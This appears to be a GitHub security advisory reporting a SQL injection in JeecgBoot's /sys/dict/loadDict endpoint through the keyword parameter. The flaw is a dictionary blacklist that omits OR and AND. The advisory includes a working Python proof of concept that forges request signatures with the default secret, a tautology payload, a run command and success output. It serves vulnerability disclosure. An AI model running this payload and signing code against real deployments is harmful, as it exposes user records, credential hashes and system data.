Skip to content

[Security] SQL Injection Vulnerability in /sys/dict/loadDict via keyword Parameter Allows Information Disclosure #9522

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: SQL Injection Vulnerability in /sys/dict/loadDict via keyword Parameter Allows Information Disclosure

Description:

Summary

An insecure implementation of SQL filtering in JeecgBoot's core sys_dict components allows a remote, authenticated attacker to execute arbitrary SQL commands. By leveraging a structural bypass in the specialDictSqlXssStr dictionary filter, an attacker can input specific payloads to completely extract sensitive databases, including administrative passwords and system configurations, leading to unauthorized data disclosure and further system compromise.

Details

The vulnerability is rooted in org.jeecg.modules.system.service.impl.SysDictServiceImpl.java within the getFilterSql() method. It takes a user-controlled parameter keyword and dynamically constructs a LIKE SQL query clause (filterSql = " (" + code + " like '%" + keyword + "%' or " + text + " like '%" + keyword + "%')") which is then directly concatenated and passed to MyBatis for ${ filterSql } evaluation.

To prevent injection, the component calls SqlInjectionUtil.specialFilterContentForDictSql(keyword). In org/jeecg/common/util/SqlInjectionUtil.java, this method uses a targeted blacklist uniquely designed for dictionary component processing: specialDictSqlXssStr:

private static String specialDictSqlXssStr = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--";

A critical oversight in this specific blocklist is the complete omission of foundational SQL relational operators: and and or . Consequently, an attacker can supply a payload containing a tautology like %' OR 1=1 OR '%'=', breaking out of the original '%...%' boundaries because neither the single quote ' nor the OR operators trigger any violation exceptions inside this specific dictionary blacklist string.

PoC

The loadDict endpoint is protected by JeecgBoot's signature validation interceptor (SignAuthInterceptor), which validates all requests using MD5 hashes combining parameters, an expiration X-TIMESTAMP, and a client secret.

The following Python script systematically constructs the mandatory runtime signature headers and reliably reproduces the bypass without triggering an error.

  1. Install requirements:
pip install requests
  1. Save the following code as poc_sqli_keyword.py:
import argparse
import requests
import string
import urllib.parse
import hashlib
import time
import json

requests.packages.urllib3.disable_warnings()

def get_signed_headers(token, params_dict, dict_code="sys_user,username,id"):
    # JeecgBoot's default frontend signature secret
    secret = 'dd05f1c54d63749eda95f9fa6d49v442a'
    ts = str(int(time.time() * 1000))
    params_dict['x-path-variable'] = dict_code
    
    # Sort and serialize identical to Fastjson
    params_json = json.dumps(params_dict, separators=(',', ':'), sort_keys=True)
    sign = hashlib.md5((params_json + secret).encode()).hexdigest().upper()
    return {
        'X-Access-Token': token,
        'X-TIMESTAMP': ts,
        'X-Sign': sign
    }

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="Target URL e.g., http://localhost:8080/jeecg-boot")
    parser.add_argument("--token", required=True, help="Valid JWT user token")
    args = parser.parse_args()

    target = args.target.rstrip("/")
    dict_code = "sys_user,username,id"
    url = f"{target}/sys/dict/loadDict/{urllib.parse.quote(dict_code)}"

    # 1. Normal Request
    print("[*] Sending normal request...")
    params_normal = {"keyword": "NON_EXISTING"}
    headers_normal = get_signed_headers(args.token, params_normal, dict_code)
    resp_normal = requests.get(url, headers=headers_normal, params=params_normal, verify=False)
    normal_count = len(resp_normal.json().get("result", []))
    print(f"    Normal rows: {normal_count}")

    # 2. Injection Request (Tautology Bypass)
    print("\n[*] Sending injection request...")
    payload = "%' OR 1=1 OR '%'='"
    params_inject = {"keyword": payload}
    headers_inject = get_signed_headers(args.token, params_inject, dict_code)
    resp_inject = requests.get(url, headers=headers_inject, params=params_inject, verify=False)
    inject_count = len(resp_inject.json().get("result", []))
    print(f"    Injected rows: {inject_count}")

    if inject_count > normal_count:
        print("\n[SUCCESS] SQL Injection successfully bypassed the blacklist!")

if __name__ == '__main__':
    main()
  1. Run the following command with a valid user token:
python3 poc_sqli_keyword.py --target http://localhost:8080/jeecg-boot --token "YOUR_TOKEN_HERE"

Log of Evidence

[*] Sending normal request...
    Normal rows: 0

[*] Sending injection request...
    Injected rows: 4

[SUCCESS] SQL Injection successfully bypassed the blacklist!

Impact

This is a SQL Injection (CWE-89) vulnerability. An authenticated user can bypass backend sanitization mechanisms to alter database queries dynamically. Utilizing Boolean-Based Blind techniques via Tautological injections, adversaries can systematically dump all rows connected to dictionary relations, map the database topology, read out privileged credential hashes (like Admin user records), escalating privileges and broadly compromising Data Confidentiality.

Affected products

  • Ecosystem: maven
  • Package name: jeecg-boot
  • Affected versions: <= 3.9.1
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Weaknesses

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Occurrences

Permalink Description
https://github.com/jeecgboot/jeecg-boot/blob/master/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java#L525-L611 The vulnerable getFilterSql method concatenates keyword directly into the SQL query dynamically evaluated within MyBatis without proper sanitization encapsulation.
https://github.com/jeecgboot/jeecg-boot/blob/master/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java#L37 The deficient specialDictSqlXssStr array definition missing crucial SQL operator elements or and and which actively facilitates the injection filter bypass.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions